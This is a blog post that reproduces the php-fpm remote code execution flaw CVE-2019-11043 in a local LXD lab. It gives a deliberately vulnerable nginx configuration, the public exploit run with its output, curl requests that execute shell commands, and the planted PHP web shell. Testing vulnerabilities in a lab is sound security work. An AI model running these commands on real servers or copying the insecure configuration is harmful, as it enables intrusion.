CVE-2019-11043 is a buffer overflow in php-fpm that under certain conditions, can lead to remote execution. There is an exploit at PHuiP-FPizdaM that targets certain nginx and php-fpm configurations. On their page, the describe how to use Docker to test this exploit. In this post, we use LXD to test the exploit and verify whether it actually works.
Note that php-fpm
is vulnerable when nginx
is configured to handle php-fpm
by a specific way. Apparently, the configuration instructions for Nextcloud suggest to use this bad way. In this post, we try to achieve this bad configuration without installing Nextcloud but rather using what is minimally required for the demonstration.
In the following we create two system containers, vulnerable
and hacker
. In the first container, we setup nginx
and php-fpm
(latest version, buffer overflow still present) and configure as required at the exploit page. In the other container, we run the exploit code, targeting the first container.
Setting up the vulnerable container
We create the container vulnerable
and install the packages nginx
and php-fpm
. Note the version of php-fpm
. This is a vulnerable version with the buffer overflow. If, by the time you are reading this, there is a newer version that fixes the buffer overflow, then you can selectively install the version shown below. The exact vulnerable version is php-fpm-7.2.19-0ubuntu0.18.04.2 (2019-08-13).
$ lxc launch ubuntu:18.04 vulnerable Creating vulnerable Starting vulnerable $ lxc exec vulnerable -- sudo --user ubuntu --login To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. ubuntu@vulnerable:~$ sudo apt update ... ubuntu@vulnerable:~$ sudo apt install -y nginx php-fpm ... ubuntu@vulnerable:~$ apt policy php-fpm php-fpm: Installed: 1:7.2+60ubuntu1 Candidate: 1:7.2+60ubuntu1 Version table: *** 1:7.2+60ubuntu1 500 500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages 100 /var/lib/dpkg/status ubuntu@vulnerable:~$ apt policy php7.2-fpm php7.2-fpm: Installed: 7.2.19-0ubuntu0.18.04.2 Candidate: 7.2.19-0ubuntu0.18.04.2 Version table: *** 7.2.19-0ubuntu0.18.04.2 500 500 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages 500 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages 100 /var/lib/dpkg/status 7.2.3-1ubuntu1 500 500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages ubuntu@vulnerable:~$ logout $
Let’s take a snapshot of the vulnerable
container at the current state where we just installed nginx
and php-fpm
. We can switch back to this state easily if we want to start over. For completeness, we show here how to restore and also how to remove a snapshot.
$ lxc snapshot vulnerable stock-install $ lxc info vulnerable Name: vulnerable ... Snapshots: stock-install (taken at 2019/10/28 10:11 UTC) (stateless) $ lxc restore vulnerable stock-install $ lxc delete vulnerable/stock-install
By default, php-fpm
is not enabled in anginx
server block (i.e. virtual host), so we are about to enable it. We try first to setup with the default configuration as found in Ubuntu. Below is the default website configuration in nginx
, having stripped anything unimportant, and enabled PHP support. In bold are the relevant changes that enable PHP support. Note, we have not configured yet php-fpm
in the vulnerable state.
# Location: /etc/nginx/sites-enabled/default server { listen 80 default_server; root /var/www/html; # Add index.php to the list if you are using PHP index index.html index.php; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } # pass PHP scripts to FastCGI server # location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; } }
Finally, we create an index.php
and add some simple PHP in it. We then verify that the PHP code actually runs. For the matters of the exploit, we could have also used an empty .php file.
ubuntu@vulnerable:~$ lxc exec vulnerable -- sudo --user ubuntu --login ubuntu@vulnerable:~$ echo "<?php echo '<p>Hello World</p>'; ?> " | sudo tee /var/www/html/index.php ubuntu@vulnerable:~$ curl http://localhost Hello World ubuntu@vulnerable:~$
The vulnerable container is ready; not yet in the vulnerable state, but ready nevertheless.
Let’s take a snapshot of the container in case we want to come back to.
ubuntu@vulnerable:~$ logout $ lxc snapshot vulnerable stock-with-php-on $
Setting up the hacker container
We create the hacker
container and compile the exploit code.
$ lxc launch ubuntu:18.04 hacker Creating hacker Starting hacker $ lxc exec hacker -- sudo --user ubuntu --login ubuntu@hacker:~$ sudo snap install go --classic go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git ubuntu@hacker:~$ cd phuip-fpizdam/ ubuntu@hacker:~/phuip-fpizdam$ go build go: downloading github.com/spf13/cobra v0.0.5 go: extracting github.com/spf13/cobra v0.0.5 go: downloading github.com/spf13/pflag v1.0.3 go: extracting github.com/spf13/pflag v1.0.3 go: finding github.com/spf13/cobra v0.0.5 go: finding github.com/spf13/pflag v1.0.3 ubuntu@hacker:~/phuip-fpizdam$ ls README.md consts.go detect_methods.go go.sum phpini.go reproducer attack.go detect.go go.mod main.go phuip-fpizdam requester.go ubuntu@hacker:~/phuip-fpizdam$
At this stage, we can attempt to see whether the stock installation of nginx+php in the vulnerable
container is susceptible to the current implementation of the exploit. The vulnerable
container is accessible from this container by using the name plus .lxd
. Each LXD container gets such a hostname for free and all are accessible by the other containers using these hostnames.
ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php <p>Hello World</p> ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php 2019/10/28 10:09:06 Base status code is 404 2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong ubuntu@hacker:~/phuip-fpizdam$
Up to this stage, the hacker
container is ready. The vulnerable
container is not really vulnerable yet, and we need to get back to it to make changes so that it becomes vulnerable.
Working on the vulnerable
container
In the configuration of the server block shown earlier, there is a directive include snippets/fastcgi-php.conf;
The purpose of this directive is to include verbatim a set of configurations. We need to edit those configurations, therefore we import the whole file and the server block now looks like the following.
# Location: /etc/nginx/sites-enabled/default server { listen 80 default_server; root /var/www/html; # Add index.php to the list if you are using PHP index index.html index.php; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } # pass PHP scripts to FastCGI server # location ~ \.php$ { # regex to split $uri to $fastcgi_script_name and $fastcgi_path fastcgi_split_path_info ^(.+.php)(/.+)$; # Check that the PHP script exists before passing it try_files $fastcgi_script_name =404; # Bypass the fact that try_files resets $fastcgi_path_info # see: http://trac.nginx.org/nginx/ticket/321 set $path_info $fastcgi_path_info; fastcgi_param PATH_INFO $path_info; fastcgi_index index.php; include fastcgi.conf; fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; } }
We make the following minimal changes. First, we change the matching pattern to the one depicted. Second, we comment out the try_files
directive. Third, we move the include fastcgi.conf
directory at the top of the section. I could not figure out why that would be needed, but it does make a difference. This file is found at /etc/nginx/fastcgi.conf
and it just sets several environment variables to PHP-FPM. I could not figure out why it matters and specifically how the commands that run after, are affected.

Here is the final vulnerable configuration file. In bold the three changes to the default configuration file. Obviously, it is feasible to prune the configuration and make it much smaller.
# Location: /etc/nginx/sites-enabled/default server { listen 80 default_server; root /var/www/html; # Add index.php to the list if you are using PHP index index.html index.php; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } # pass PHP scripts to FastCGI server # location ~ [^/].php(/|$) { include fastcgi.conf; # regex to split $uri to $fastcgi_script_name and $fastcgi_path fastcgi_split_path_info ^(.+.php)(/.+)$; # Check that the PHP script exists before passing it #try_files $fastcgi_script_name =404; # Bypass the fact that try_files resets $fastcgi_path_info # see: http://trac.nginx.org/nginx/ticket/321 set $path_info $fastcgi_path_info; fastcgi_param PATH_INFO $path_info; fastcgi_index index.php; fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; } }
We are ready to switch to the hacker
container and try the exploit.
Using the exploit
From the hacker
container, we run the exploit over the vulnerable
container. What has happened, is that php-fpm
has been affected and can be used to further execute commands remotely.
ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php 2019/10/28 14:39:24 Base status code is 200 2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate 2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765] 2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect 2019/10/28 14:39:25 Trying to set "session.auto_start=0"… 2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect <-- REMEMBER THIS 2019/10/28 14:39:25 Performing attack using php.ini settings… 2019/10/28 14:39:25 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/28 14:39:25 Trying to cleanup /tmp/a… 2019/10/28 14:39:25 Done! ubuntu@hacker:~/phuip-fpizdam$
According to the instructions, we run the commands like the following. For some reason, the exploit works every other time. It is likely an LXD issue, to be figured out at a later time.
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&" <p>Hello World</p> ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&" uid=33(www-data) gid=33(www-data) groups=33(www-data) <p>Hello World</p> ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&" <p>Hello World</p> ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&" uid=33(www-data) gid=33(www-data) groups=33(www-data) <p>Hello World</p> ubuntu@hacker:~/phuip-fpizdam$
The way they exploit works, is that it saves a helper script on the vulnerable host at /tmp/a
. Then, this helper is invoked each time to executes the hacker’s commands.
ubuntu@vulnerable:~$ ls -l /tmp/a
-rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a
ubuntu@vulnerable:~$ cat /tmp/a
<?php echo`$_GET[a]
`
;return;?>
ubuntu@vulnerable:~$
Conclusion
Instead of using Docker (described in the exploit’s documentation), we can use LXD as the developing and testing environment to assess the significance of this vulnerability of php-fpm
. We can pick and choose among many Linux distributions including Ubuntu, Debian, Centos, Fedora and openSUSE.
We can also setup a vulnerable
container to be ubuntu:16.04
in order to explore this vulnerability on PHP5.
1 ping
[…] Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers […]